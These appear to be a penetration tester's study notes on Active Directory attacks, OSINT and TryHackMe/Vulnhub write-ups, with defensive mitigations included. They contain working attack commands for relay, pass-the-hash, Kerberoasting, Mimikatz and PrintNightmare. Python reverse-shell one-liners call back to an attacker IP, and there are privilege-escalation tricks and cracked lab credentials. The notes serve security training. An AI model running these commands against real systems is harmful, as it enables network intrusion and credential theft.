group by typing the following in the command prompt: net localgroup administrators

---- INITIAL
ATTACK VECTORS ----

Monday,
February 7, 2022

11:51
AM

Overview

Tuesday,
December 21, 2021

2:53
PM

LLMNR
Poisoning Overview

Monday,
February 7, 2022

9:16
AM

What is LLMNR?

Used to identify hosts when
DNS fails to do so

Previously NBT-NS

Key flaw is that the services
utilize a user's username and NTLMv2 hash when appropriately responded to

Step 1: Run
Responder (python Responder.py -I tun0 -rdwv)

This tool responds to the
LLMNR requests

Best time to run the tool is
first thing in the morning or right after lunch because you need a lot of
traffic

Step 2: An Event
Occurs…

Example: somebody typed in
the wrong network drive

Step 3: Get the
Hashes

Step 4: Crack the
Hashes

hashcat -m 5600
hashes.txt rockyou.txt

The less complex the
password, the better we are

Once we have a cracked
password account, we can use that for additional leverage

Password
Cracking with Hashcat

Monday,
February 7, 2022

9:17
AM

Copy the entire
hash that you found

Create a .txt
file with the full hash in it

Set up hashcat -
"hashcat -m 5600 ntlmhash.txt rockyou.txt --force"

-m 5600:

-m = module

5600 = NetNTLMv2 module

--force

Force the VM to
run off the CPU (might not work)

Should always run from your
Base OS (hashcat works on Windows)

Need the
hash.txt and wordlist.txt files - put in the same folder

Run command prompt as
administrator - CD to the folder with hashcat

Type "hashcat64.exe
-m 5600 hashes4.txt rockyou.txt -O"

LLMNR
Poisoning Defense

Monday,
February 7, 2022

9:17
AM

The best defense in this
case is to disable LLMNR and NBT-NS

To disable LLMNR:

Select "Turn OFF
Multicast Name Resolution" under Local Computer Policy >
Computer Configuration > Administrative Templates > Network >
DNS Client in the Group Policy Editor

To disable NBT-NS:

Navigate to Network
Connections > Network Adapter Properties > TCP/IPv4 Properties
> Advanced Tab > WINS tab > Select "Disable NetBIOS over
TCP/IP."

If a company must use or
cannot disable LLMNR/NBT-NS, the best course of action is to:

Require Network Access
Control.

Require strong user
passwords (e.g., >14 characters in length and limit common word
usage). The more complex and long the password, the harder it is for an
attacker to crack the hash.

Discovering
Hosts with SMB Signing Disabled

Monday,
February 7, 2022

9:17
AM

Run nmap - "nmap
--script=smb2-security-mode.nse -p445 <ip>"

Look to see the status of
message signing

Not required = we can do a
relay attack

Create a target file with the
IPs (gedit targets.txt)

Put
the target IP in the file

SMB Relay
Attacks Overview

Monday,
February 7, 2022

9:17
AM

What is SMB Relay?

Instead of cracking hashes
gathered with Responder, we can instead relay those hashes to specific
machines and potentially gain access

Requirements:

SMB signing must be disabled
on the target

Never checks for
authenticity of where a packet is coming from

Relayed user credentials
must be admin on machine

Configure
Responder - turn of SMB and HTTP (gedit Responder.conf)

Run Responder

Configure your
relay

For an interactive, shell
add -i to the end

An Event Occurs…

Win - SMB Relay
will show the SAM hashes (the /etc/shadow of the Windows world)

If you added the
-i option, you may get an SMB Shell

Open a new tab
and type "nc 127.0.0.1 1100"

Type
"help" to see what we can do from the SMB Shell. There is a lot
you can do!

Type
"shares"

Type Use C$ and
type ls

We have access to
the C drive now

We have full
control of the computer... we can add files, get files, etc.

SMB Relay
Attack Defenses

Monday,
February 7, 2022

9:17
AM

Mitigation
Strategies:

Enable SMB Signing on all
devices

Pro: Completely stops the
attack

Con: Can cause performance
issues with file copies

Disable NTLM authentication
on network

Pro: Completely stops the
attack

Con: If Kerberos stops
working, Windows defaults back to NTLM

Account tiering

Pro: Limits domain admins to
specific tasks (e.g. only log onto servers with need for DA)

Con: Enforcing the policy
may be difficult

Local admin restriction

Pro: Can prevent a lot of
lateral movement

Con: Potential increases in
the amount of service desk tickets

Gaining
Shell Access

Monday,
February 7, 2022

9:17
AM

What you can do when
you have a valid credential and SMB is open:

Open Metasploit (msfconsole)

Look for psexec (search
psexec) & select the correct exploit

Type "options" and
set the following:

Rhosts

smbdomain

smbpass

smbuser

lhost

payload - set payload
windows/x64/meterpreter/reverse_tcp

Type run! (Does not always
authenticate on the first try or may need to change target)

Change the
Target:

"show
targets"

set target to a different
path

-------------------------------

If the above doesn't
work, here's another way to do it (bypasses Windows Defender):

Open terminal and type

"psexec.py
<domain.local>/<username>:<password>@<ip>"

You get Shell!

IPv6
Attacks Overview

Monday,
February 7, 2022

9:18
AM

IPv6 DNS
Takeover via mitm6

Monday,
February 7, 2022

9:18
AM

Install
Instructions:

Go to Google and
search for "github mitm6"

https://github.com/dirkjanm/mitm6

Type the following
into terminal:

cd /opt/

git clone https://github.com/dirkjanm/mitm6

cd mitm6/

pip2 install .

Navigate to your /opt/mitm6
folder

Type "mitm6 -d
<domain.local>

You will start
getting replies

Open a new terminal tab to
set up the relay attack

Type "ntlmrelayx.py -6
-t ldaps://<domaincontrollerIP> -wh fakewpad.<domain>.local -l
lootme"

Open a third tab to see the
"lootdir" in the /opt/mitm6/lootme/ folder

Use this information to
figure out who to attack/enumerate for more privileges

Additional
Resources:

https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/

https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/

IPv6 Attack
Defenses

Monday,
February 7, 2022

9:18
AM

Mitigation
Strategies:

IPv6 poisoning
abuses the fact that Windows queries for an IPv6 address even in
IPv6-only environments. If you don't use IPv6 internally, the safest way
to prevent mitm6 is to block DHCPv6 traffic and incoming router
advertisements in Windows Firewall via Group Policy. Disabling IPv6
entirely may have unwanted side effects. Setting the following predefined
rules to Block instead of Allow prevents the attack from working:

(Inbound) Core
Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-In)

(Inbound) Core Networking -
Router Advertisement (ICMPv6-In)

(Outbound) Core Networking
- Dynamic Host Configuration Protocol for IPv6(DHCPV6-Out)

If WPAD is not in
use internally, disable it via Group Policy and by disabling the
WinHttpAutoProxySvc service.

Relaying to LDAP
and LDAPS can only be mitigated by enabling both LDAP signing and LDAP
channel binding.

Consider moving
Administrative Users to the Protected Users group or marking them as
Account is sensitive and cannot be delegated, which will prevent any
impersonation of that user via delegation.

Passback
Attacks

Monday,
February 7, 2022

9:18
AM

A Pen Tester's Guide to Printer Hacking

What is an MFP and MFP Hacking anyway?

Multi-Function Peripherals (MFPs) are
an underutilized target in the realm of pen testing. When compared against
other high-value targets, MFP hacking appears to be the low man on the totem
pole. Penetration testers frequently attack other targets like web
applications, file servers, and domain controllers. Too often, the thought is:
Why waste your time on printers when you can attack things like systems
potentially resulting in:

Credential Disclosure

File System Access

Memory Access

However, as illustrated by
a recent and surprisingly interesting printer penetration test engagement, it turns out that a successful MFP breach can result in
discovering all of the above findings, plus more. The best part is that MFP
security and maintenance is often forgotten, potentially resulting in a quick
win for someone looking to gain entry or escalate their privileges in a
compromised network.

MFPs are the clunky pile of plastic typically located in your
corporate closet. They’re equipped with network ports, USB drives, and an iPad
looking control panel with its own set of specialized applications. These
intelligent devices are capable of much more than the standard copy, print, and
fax. Don’t forget the occasional paper jam too.

These industrial ink bleeders are loaded with plenty of
functionality, like the ability to integrate with the corporate network to
allow for convenient scan/email. This functionality necessitates:

Lightweight Directory Access
Protocols (LDAP) integration

Simple Mail Transfer Protocol
(SMTP) integration

Network Shares

What kind of information is at risk with an MFP? How can you, as
a penetration tester, successfully hack into an MFP?

Did You Say
LDAP?

MFP-LDAP integration can be a control mechanism to prevent
unauthorized users from printing, copying, scanning, etc. It can also be used
for email address lookups when leveraging the scan/copy to email functionality,
as well as giving authenticated users access to their home folder located on
the network.

Most MFP vendors (HP, Xerox, Ricoh, Canon, etc.) have their
version of an LDAP implementation for their specific MFP, but they are
generally the same concept. If you input a few attributes here, an IP address
there, add a username/password, then you sit back and watch the “magic” happen.

Why MFP Hacking
Matters

For the MFP to conduct queries on the LDAP server, the MFP must
be configured with the appropriate credentials to access the LDAP server, or
set with the ability to pass user credentials to the LDAP server. These
credentials should be stored somewhere on the MFP and, if we can capture these
credentials, then we may have an entryway into the network, and possibly
more.

Introducing the
Pass-Back Attack

The stored LDAP credentials are usually located on the network
settings tab in the online configuration of the MFP and can typically be
accessed via the Embedded Web Service (EWS). If you can reach the EWS and
modify the LDAP server field by replacing the legitimate LDAP server with your
malicious LDAP server, then the next time an LDAP query is conducted from the
MFP, it will attempt to authenticate to your LDAP server using the configured
credentials or the user-supplied credentials.

Accessing the
EWS

Most MFPs ship with a set of default administrative credentials
to access the EWS. These credentials are usually located in the Administrator
Guide of the MFP in question and are a good place to start for initial access:

VendorUsernamePasswordRicohadminblankHPadminadmin or
blankCanonADMINcanonEpsonEPSONWEBadmin

Another way to potentially access the EWS is through the Printer
Exploitation Toolkit (PRET) and Praeda. Both tools are capable of Information
Disclosure and Code Execution. If you are looking to utilize the tools for the
first time, here are a few resources to help you get started:

•  https://github.com/RUB-NDS/PRET

•  https://github.com/percx/Praeda

• http://www.hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet

Replace LDAP
Attributes

Once you are authenticated to the EWS, locate the LDAP settings.
During our test on an HP Color LaserJet MFP M477fdn, these settings were in the
access control portion of the networking tab.

Next, we removed the existing LDAP Server Address,
192.168.1.100, and replaced it with our IP Address. Next, we saved the
settings. Then, we created a Netcat listener on port 389, which was the
existing port in the LDAP settings of the MFP.

Capture
Credentials

The configuration of this MFP requires users to authenticate
before using the available resources like the scan-to-email ability. The next
time an unsuspecting user inputs their credentials at the control panel, the
MFP will send their information to the LDAP server under our control.

If the MFP supports and is configured to store LDAP credentials
for email lookup (the model we tested did not), then these credentials can also
be passed back to the LDAP server under our control.

Attacking SMTP
and Windows Sign-in

This attack can also be conducted against other settings on the
MFP that support authentication. Like LDAP, the Windows sign-in can be an
alternative method to control access to the MFP resources. We substitute the
existing domain with our own domain, and the next time a domain user signs in
at the control panel, the credentials are sent to our domain controller.

Conducting attacks on the SMTP configuration can also produce
fruitful results. The existing SMTP configuration for this MFP has stored
credentials for SMTP authentication that can be passed back to us, after
replacing the existing SMTP server with our own SMTP server.

Big Payout with
Low Risk

MFPs do not get the attention they deserve when it comes to
security. They are usually physically accessible, poorly managed, and shipped
with default credentials. All of this, coupled with their payout potential,
should make them a prime target for your next engagement.

Other Attack
Vectors and Strategies

Monday,
February 7, 2022

9:19
AM

Strategies:

Begin day with mitm6 or
Responder

Run scans to generate traffic

Nessus

nmap

If scans are taking too long,
look for websites in scope (Metasploit module = http_version)

Look for default credentials
on web logins

Printers

Jenkins

Etc.

Think outside the box

----
POST-COMPROMISE ENUMERATION ----

Monday,
February 7, 2022

11:51
AM

Domain
Enumeration with PowerView

Monday,
February 7, 2022

3:45
PM

(The commands below are just some examples from the
teaching. If you do a simple Google search for "PowerView
Enumeration" there are many guides for enumerating a domain with
PowerView.)

Install PowerView
from Github

https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

This is run
ideally from the Windows machine you're attacking - so you need to get
the script on the computer.

Open Command
Prompt and CD to the PowerView folder.

Run the command
"powershell -ep bypass"

Type ".
.\PowerView.ps1"

Type
"Get-NetDomain"

Type
"Get-NetDomainController"

Find the IP & name of
the domain controller

Type
"Get-DomainPolicy"

Shows all the policies in
the domain

Type
"(Get-DomainPolicy)."systemn access""

Minimum password length is a
good indicator of what you're up again. You can spray passwords matching
this length

Type
"Get-NetUser | select cn"

Pull down all the usernames
on the domain

Type
"Get-UserProperty - Properties pwdlastset"

Type
"Get-UserProperty -Properties logoncount"

Identify possible honeypot
accounts. If a user has never logged in before, it's likely a honeypot
and not worth targeting

Type
"Get-NetComputer"

Type
"Invoke-ShareFinder"

See all the SMB shares on
the domain

Bloodhound
Overview and Setup

Monday,
February 7, 2022

3:46
PM

This tool downloads
the data from active directory and then visualizes the data in a graph. Allows
you to see a lot of data very quickly to discover various paths to Domain
Admin.

Type "apt install
bloodhound"

Set up Neo4j - "neo4j
console"

Go to the local host it boots
up to

Username & password =
neo4j

Update your default password
and close the browser

Open a new terminal tab and
type "bloodhound" to launch

Log in with your information

Grabbing
Data with Invoke-Bloodhound

Monday,
February 7, 2022

3:46
PM

Search Google for
"invoke-bloodhound"

https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1

Put the file on
the victim machine (Windows)

Run the file

Type
"Invoke-BloodHound -CollectionMethod All -Domain
<domainname.local> -ZipFileName file.zip"

Copy the data
from the victim machine to your attacking machine (file.zip file)

Open BloodHound
(see the BloodHound Overview and Setup)

Click
"Upload Data" on the right of the screen

Select the file
(file.zip)

Click the menu
icon by the search bar

Click
"Queries" to see pre-built queries:

This queries provide a
"map" with the information in the query

----
POST-COMPROMISE ATTACKS ----

Monday,
February 7, 2022

11:51
AM

Pass the
Hash: Attack & Mitigation

Friday,
February 11, 2022

2:39
PM

What is it?

If we crack a password
and/or can dump the SAM hashes, we can leverage both for lateral movement
in networks

Pass the Password:

crackmapexec smb
<ip/CIDR> -u <user> -d <domain> -p <pass>

Pass the Hash

crackmapexec smb <ip/CIDR> -u <user> -H
<hash> --local-auth

Don't need to crack the
password to pass the hash around

Install crackmapexec

Type in terminal - "apt
install crackmapexec"

Dumping Hashes with secretsdump.py

Requires authentic
credentials

secretsdump.py
<domain>/<user>:<password>@<ip>

Cracking NTLM Hashes with Hashcat

Clean up file so
it's just user accounts

Refer to "Password Cracking with Hashcat"

NTLM = module
1000

Mitigations

Hard to completely prevent,
but we can make it more difficult on an attacker:

Limit account re-use:

Avoid re-using local admin
password

Disable Guest and
Administrator accounts

Limit who is a local admin

Utilize strong passwords:

The longer the better
(>14 characters)

Avoid using common words

I like long sentences

Privilege Access Management
(PAM)

Check out/in sensitive
accounts when needed

Automatically rotate
passwords on check out and check in

Limits pass attacks as
hash/password is strong and constantly rotated

Token
Impersonation: Attack & Mitigation

Monday,
February 14, 2022

8:38
AM

What are tokens?

Temporary keys that allow you
access to a system/network without having to provide credentials each time
you access a file. Think cookies for computers.

Two types:

Delegate: Created for logging
into a machine or using Remote Desktop

Impersonate:
"non-interactive" such as attaching a network drive or a domain
logon script

-- Need
to load psexec through Metasploit first.

Mitigation

Limit user/group token
creation permissions

Tricky

Won't fully prevent
everything

Account tiering

Domain Admins should be
logging into the machines they need to access - only DC - not user
computers or servers

Local admin restriction

If users are not local
admins, we cannot get a shell on the computer with their account

Kerberoasting:
Attack & Mitigation

Monday,
February 14, 2022

9:03
AM

Overview:

Get SPNs, Dump Hash

python
GetUserSPNs.py <DOMAIN/username:password> -dc-ip <ip of DC>
-request

Crack the hash

hashcat -m 13100
<filename.txt> <wordlist.txt> -O

Mitigation:

Strong Passwords

Least Privilege

Do not make service accounts
domain administrators

GPP/cPassword
Attacks

Wednesday,
February 16, 2022

7:43
AM

GPP = Group Policy
Preferences (AKA MS14-025)

Overview:

Group Policy Preferences
allowed admins to create policies using embedded credentials

These credentials were
encrypted and placed in a "cPassword"

The key was accidently
released (woops)

Patched in MS14-025, but
doesn't prevent previous uses

Usually these credentials
are Domain Admin

Server 2012 is a common
victim

How to check:

Metasploit module -
smb_enum_gpp

Need credentials or a shell

More information:

https://blog.rapid7.com/2016/07/27/pentesting-in-the-real-world-group-policy-pwnage/

Scanning and Enumeration:

nmap -T5
<ip>

When you
scan against a domain controller, expect to see 53 and 88 open

For this
attack - you want to enumerate port 445 - because the attack involves
utilizing SMB.

smbclient
-L \\\\<ip>\\

In this
example, we have access to the replication folder.

smbclient
\\\\<ip>\\Replication

Turn prompt
off and recurse on

mget *
(downloads all the files)

Looking for
Groups.xml

Navigate to
the Groups.xml file and open it

Copy the
cpassword value

gpp-decrypt
<value>

We now have
a username and a password

Username:
active.htb\svc_tgs

Password:
GPPstillStandingStrong2k18

Elevate Privileges:

psexec.py
active.htb/svc_tgs:<password>@<ip>

See
if anything is writable

Kerberoasting
is the way - GetUserSPNs.py active.htb/svc_tgs:<password> -dc-ip
<ip> -request

Copy the
service ticket/hash

Crack with
hashcat on base OS

Now try
writing to SMB with this account and get a Shell

psexec.py
active.htb/Administrator:Ticketmaster1968@<ip>

URL File
Attacks

Wednesday,
February 16, 2022

8:16
AM

Scenario:

You have compromised
a user and the user has some type of file share access. We can use that access
to capture more hashes via Responder and then try and crack those hashes to get
the passwords. Could possibly get a different user or one with more access.

Requires compromised account
or open file share

More information:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#scf-and-url-file-attack-against-writeable-share

Steps

Create the malicious file

the IP address is your
attacker IP so we can capture the hash

Save the file to a share

@ symbol puts the file at the
top

Open Responder on attacking
machine

As soon as a user navigates
to the folder, we will capture their hash in Responder

Multiple attack vectors:

Pass the Hash
Attack

Crack the Hash and steal the
password

Kerberoasting
(if you crack the password)

Print
Nightmare

Wednesday,
February 16, 2022

8:26
AM

Overview:

Requires a user account

Takes advantage of the
printer spooler because it runs as system privilege

Code: https://github.com/cube0x0/CVE-2021-1675

Check if the
server is vulnerable

rpcdump.py
@<ip> | grep 'MS-RPRN|MS-PAR'

MS-PAR & MAS-RPRN =
vulnerable

Install latest
version of impacket

Grab the python
code from the github page

Create the file
on your attacking machine

Create the
malicious DLL

Launch Metasploit
to get a Meterpreter session started

Set the payload

Set the LPORT and
LHOST (same as you set it to in step 5)

Type
"run" to set up the listener!

Set up a file
share (new terminal window)

Need smb2support or it might
error out on the exploit

Run the python
exploit

Got a Meterpreter
shell!

This may get blocked by
Windows Defender. You need to obfuscate the .dll file to perform AV
bypassing

Mimikatz

Wednesday,
February 16, 2022

9:38
AM

Overview:

Tool used to view and steal
credentials, generate Kerberos tickets, and leverage attacks

Dumps credentials stored in
memory

Just a few attacks:

Credential Dumping

Pass-the-Hash

Over-Pass-the-Hash

Pass-the-Ticket

Golden Ticket

Silver Ticket

URL: https://github.com/gentilkiwi/mimikatz

Credential Dumping:

(Assuming we have
compromised the Domain Controller)

1. Execute mimikatz on the victim machine

Run privilege::debug (looking
for Privilege '20' OK)

Dump logon passwords

Will show us the username,
NTLM hash, and any user that has logged in since the last reboot (and
their hash)

If the Administrator logged
in recently, we can steal the admin hash to crack it or pass the hash
around

Take advantage of wdigest

Stored passwords in clear
text

Turn this one with mimikatz
and we can wait for somebody to log onto the computer and we will get
their password in clear text

Dump SAM file

Dump all users and hashes

LSA = local security
authority

Authenticates and creates
login sessions to the local computer

Golden Ticket
Attack:

If we dump the hash of the
krbtgt account - we can grant tickets to any resource or system on the
domain using the ticket granting service. When we have a golden ticket, we
can complete access to the entire domain.

Provides persistence on the
domain controller.

Run mimikatz on the victim
machine

Run privilege debug

Run lsa inject on the krbtgt
user

Copy the following
information into notepad

Use this information to
generate the ticket

Generate the golden ticket

User: doesn't have to be a
real user

ID:500 -- the id # for the
admin account

ptt = pass the ticket

Run misc::cmd to pull up a
command prompt

You can now get on any
computer on the domain

Additional
Resources

Wednesday,
February 16, 2022

10:39
AM

https://adsecurity.org

All types of blog posts
related to AD security

https://blog.harmj0y.net

Work for Specterops.io
(highly rated pentesting team)

Excellent blog on attacks

https://www.pentesteracademy.com/activedirectorylab

Two courses:

Attacking and Defending AD

Red Team Labs

Labs you can pay for

https://www.elearnsecurity.com/course/penetration_testing_extreme/

Basic and advanced courses on
AD attacks

eCPTX certification 1

Overview

Monday,
April 11, 2022

10:36
AM

What is a Wireless
Penetration Test?

Assessment of wireless
network

WPA2 PSK

What you have in your house

1 password

WPA2 Enterprise

Uses credentials to log
into the network

Activities performed

Evaluating strength of PSK

Reviewing nearby networks

Assessing guest networks

Checking network access

Need an external wireless
card for packet capture/injection

Search for Kali Linux
compatible USB wireless cards

The Hacking Process
(WPA2 PSK)

OSINT Tools

Thursday,
January 27, 2022

10:05
AM

https://shodan.io

https://dnsdumpster.com/

Website #1:

https://hunter.io/

Type company name

It will show the email and
the sources that identify it

It will show the most
common pattern for the email

Can sign up with Gmail
account to see full emails and titles

Website #2:

https://phonebook.cz/

Type URL or Domain

Search "email
addresses"

Find a lot of emails - no
sign-up needed

Utilize the list for
credential stuffing

Website #3:

https://www.voilanorbert.com

Same as hunter.io

Website #4:

Clearbit Connect (Google
Chrome Add-On)

Select "Find
Emails"

Enter a company domain

Provides
comprehensive/better results than others -- you can search by role or
department

Provides LinkedIn page,
location, and website

Website #5:

https://tools.verifyemailaddress.io

Verify email addresses
discovered to verify that they are valid without interacting with the
person/company you are verifying.

Website #6:

https://email-checker.net/validate

Same as the resource above

Download: https://github.com/hmaverickadams/breach-parse

Emails and Passwords in the
dictionary file

Tool searches through the
data and pulls down names

./breach-parse.sh @tesla.com
tesla.txt (example)

Breaks down results into
three files:

Master

Passwords

Users

Looking for "repeat
offenders"

Use this to spray
usernames/passwords for credential stuffing

Use the Usernames and spray
all known passwords to them

Tool #1: Sublist3r

Install:

Apt install sublist3r

Syntax:

Sublist3r -d tesla.com -t
100 (example)

Ignore errors

Looks through search
engines to find subdomains

-t to specify threads to
speed up the process

Results:

Provides a list of unique
subdomains

Identify the types of
tools being used

Look for SSO… Dev… API…
VPN… Mail

Tool #2: https://crt.sh

%.tesla.com (% = wildcard)

Using certificate
fingerprinting to find subdomains

Looking for SSO… Dev… API…
VPN… Mail

Tool #3: OWASP Amass

Github.com/OWASP/Amass

Can take a long time to run
- but provides great results

Phishing
Tools

Thursday,
January 27, 2022

10:04
AM

https://www.ipvoid.com/

-- Decode base64 and
recreate pdf

https://mha.azurewebsites.net/

-- Email header
decoder

https://talosintelligence.com/reputation

-- IP reputations

https://www.convertcsv.com/url-extractor.htm

-- Extract URLs from
an email

https://talosintelligence.com/talos_file_reputation

-- Check file
reputation via hash

https://www.hybrid-analysis.com/

https://www.joesecurity.org/

https://app.any.run/

-- Malware Sandbox

https://app.phishtool.com/

-- Automated
Phishing Analysis

Reverse
Shell Tools

Thursday,
January 27, 2022

10:04
AM

Upgrade Shell:

python -c 'import
pty; pty.spawn("/bin/bash")'

https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

-- Reverse Shell
Cheat Sheat

Blue Team
Tools

Tuesday,
February 8, 2022

2:32
PM

https://canarytokens.org/generate

You can generate different
tokens to place on a web server. When it's opened, you can see the IP and
location of the person who opened the file.

https://github.com/drk1wi/portspoof

Causes nmap scans to come
back as every port is open. This obviously makes it difficult for them to
identify a valid target. This will cause the attacker to take days to scan
one IP on your network.

Friday,
April 29, 2022

8:42
AM

Tomghost
(THM)

Lessons Learned:

Take regular
screenshots and notes (almost missed the tryhackme.asc and credential.agp
files and returned to them after trying to enumerate).

Learned how
pgp and asc files interact together

Learned how
to use gpg2john to crack .asc files

Link: https://www.tryhackme.com/room/tomghost

Nmap Scan:

Nikto Scan:

Directory
Enumeration (ffuf):

Findings:

SSH

Port 22

OpenSSH 7.2p2 Ubuntu
4ubuntu2.8 (2.0 protocol)

DNS

Port 53

tcpwrapped

Apache Jserv

Port 8009

ajp13

Protocol 1.3

Methods: GET HEAD POST
OPTIONS

Vulnerability: Ghost Cat (CVE-2020–1938)

Used Metasploit to exploit
this and found the following credentials:

skyfuck:8730281lkjlkjdqlksalks

HTTP

Port 8080

Apache Tomcat 9.0.30

Directory

/examples/

Seems to have different
plug-ins and scripts as sample scripts on the server.

/manager/

Manager page for the server
but access denied due to only being accessible from the same machine as
Tomcat

Access!

Used the credentials I found
from exploiting the vulnerability above and SSH'd into the system

Flag #1 - user.txt

Used the following command
to locate: find . -name user.txt

./home/merlin/user.txt

Was able to access the
"merlin" folder and get the first flag

Flag #2 - root.txt

Sudo -l

Cannot run anything as sudo

find / -type f -perm -04000
-ls 2>/dev/null

Check if SUID bit is set

https://gtfobins.github.io/#+suid

None of these allow me to
elevate

I remember there were
interesting files in the "skyfuck" folder

Credential.pgp

A PGP file is a security key
or digital signature that verifies a user's identity. It is used to
decrypt a file encrypted by Pretty Good Privacy software. PGP files
ensure that only authorized users can open protected files.

tryhackme.asc

An ASC file is an armored
ASCII file used by Pretty Good Privacy (PGP), an encryption program
utilized for secure communication. It contains a digitally signed message
and may store plain-text written information, as well as binary
information encoded as text.

Set up an http server on
"skyfuck" machine with python3 -m http.server 8000

From my Kali machine,
downloaded those two files with this command: wget http://10.10.46.16:8000/filename

gpg2john tryhackme.asc >
ghosthash

john -w
/usr/share/wordlists/rockyou.txt ghosthash

Password: alexandru

Decrypted key with this
passphrase (https://superuser.com/questions/46461/decrypt-pgp-file-using-asc-key)

Found Credentials:
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

Logged in as Merlin

Sudo -l

User
merlin may run the following commands on ubuntu:

(root : root) NOPASSWD: /usr/bin/zip

GTFO Bins - Zip

TF=$(mktemp
-u)

sudo
zip $TF /etc/hosts -T -TT 'sh #'

sudo
rm $TF

Got root!

I win

Pickle Rick
(THM)

Lessons Learned:

Always check
the page source!

Always check
/robots.txt!

Use python
-c "print('Hello')" to check if Python or Python3 are active

sudo -l =
NOPASSWD: ALL means I win easily

---------------

URL: https://www.tryhackme.com/room/picklerick

Found in page
source:

Interesting find
when accessing the login.php page:

Tried to use
steghide on rickandmorty.jpeg and portal.jpg - required a passphrase so
possibly something hidden in those images

Found in /robots.txt

Wubbalubbadubdub

Successful Login at /portal.php

Username: R1ckRul3s

Password: Wubbalubbadubdub

Command Panel - did
ls and got the following:

Got the first
ingredient at /Sup3rS3cretPickl3Ingred.txt

mr. meeseek hair

Tried to use the
"Command Panel" to do a reverse shell with Bash - no luck

Tried to turn my
attacking machine into a web server and used wget to download a reverse shell
to the target machine. It seems to download but it did not show up so cannot
run it

Comment on the
command source

Used this to get a reverse
shell

python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.10.98",9993));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Once on the box, I
used wget to download linpeas.sh from my attack box http server - interesting
finds:

Found the second ingredient!
/home/rick/second ingredients

sudo allows me to
run any commands as root so did that to get the 3rd flag

Mr Robot CTF
(THM)

Lessons Learned:

Always check
/robots.txt!

Can
enumerate valid usernames based on login response

How to use
the WPScan tool

Old versions
of nmap have "interactive" version which can run as root when
SUID bit is set

URL: https://www.tryhackme.com/room/mrrobot

/robots.txt

User-agent: *

fsocity.dic
(dictionary file)

key-1-of-3.txt
(first key?)

Key #1:
073403c8a58a1f80d943455fb30724b9

Downloaded
fosciety.dic to computer with wget command

Found /wp-login.php
page

Learned that
"Elliot" is a valid username

Sorted the
fsocity.dic file:

sort fsocity.dic |
uniq > fsocity-sorted.dic

Used this command to
brute force the wordpress login:

Note - takes forever
but the THM network seems slow today

Password = ER28-0652

Logged in!

Popped a shell by
uploading a .php as a template and then opening it. I followed this guide: https://www.hacknos.com/wordpress-shell-upload/

Upgraded my shell to
bash with:

python -c 'import
pty; pty.spawn("/bin/bash")'

Once I got a remote
shell, I navigated to /home/robot and found this md5 hash:

robot:c3fcd3d76192e4007dfb496cca67e13b

Decrypted the hash
with a website: https://hashes.com/en/decrypt/hash

Password =
abcdefghijklmnopqrstuvwxyz

Key 2

SUID bit is set for
nmap!

Used nmap
interactive mode and then !sh to spawn a shell. navigated to /root/ folder and
got the final flag!

Key 3

Git Happens
(THM)

Lessons Learned:

Public
facing git repositories are a huge security concern and can often be found
at /.git/

Nmap will
expose if there is a public facing .git repository

How to use
gitdump.sh to download a git repository

How to use
git log to view the git commit logs

How to
search through the specific actions with git show

URL: https://www.tryhackme.com/room/githappens

Web server on port
80 - brings you to a login screen

Server information:

/css/

Found the .git
repository:

Found this:

0000000000000000000000000000000000000000
d0b3578a628889f38c0affb1b75457146a4678e5 root <root@ubuntu.(none)>
1595543975 +0200        clone: from https://hydragyrum:[email-masked]/cfe-atc/seccom/git-fail.git

Had to download a
gitdumper.sh and make it executable on my computer then ran this command:

./gitdumper.sh http://10.10.9.2/.git/ ./

Once I did this, had
to navigate to the correct folder and do

git log

Found the flag!

Res (THM)

Tuesday,
November 30, 2021

8:37
AM

URL: https://www.tryhackme.com/room/res

Description:

Hack into a
vulnerable database server with an in-memory data-structure in this semi-guided
challenge!

IP:

10.10.162.193

Database Management
System - Redis

Version - 6.0.7

Port - 6379

Description - Redis
is an open source (BSD licensed), in-memory data structure store, used as a
database, cache, and message broker.

Installed redis-cli
and connected with this command:

Possible Exploit:

1. Ran the following
commands after connecting via redis-cli

2. Went to http://ip/shell.php to verify that it worked

The box keeps
crashing so stopping

-----

Connected to the
server with nc:

Used the following
command and can now enter php commands on the website

Got a reverse shell
by using this command/url:

http://10.10.67.123/redis.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.13.10.98%22,1337));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

Found the user.txt f
lag

Saw that xxd has
SUID bit set which allowed me to read the /etc/shadow password with this
command:

LFILE=file_to_read

./xxd
"$LFILE" | xxd -r

Password hash for
vianka:

vianka:$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0

Decrypted with John
- password is beautiful1

sudo -l shows that
the account can run anything as sudo

Basic
Pentesting (Vulnhub)

Tuesday,
November 30, 2021

2:28
PM

URL: https://www.vulnhub.com/entry/basic-pentesting-1,216/

IP: 10.0.2.8

ProFTPD 1.3.3 is
vulnerable to a backdoor command execution -

https://eromang.zataz.com/2011/08/22/osvdb-69562-proftpd-1-3-3c-backdoor-command-execution/

This gave me root!

Changed the password
for both root and the marlin account - logged into the marlin account with new
password. I win

Dobby
(Vulnhub)

Wednesday,
December 1, 2021

11:37
AM

URL: https://www.vulnhub.com/entry/hogwarts-dobby,597/

IP: 10.0.2.9

Of interest:

Draco:dG9vIGVhc3kgbm8/IFBvdHRlcg==

Decoded Base64 -

Draco:too easy no?
Potter

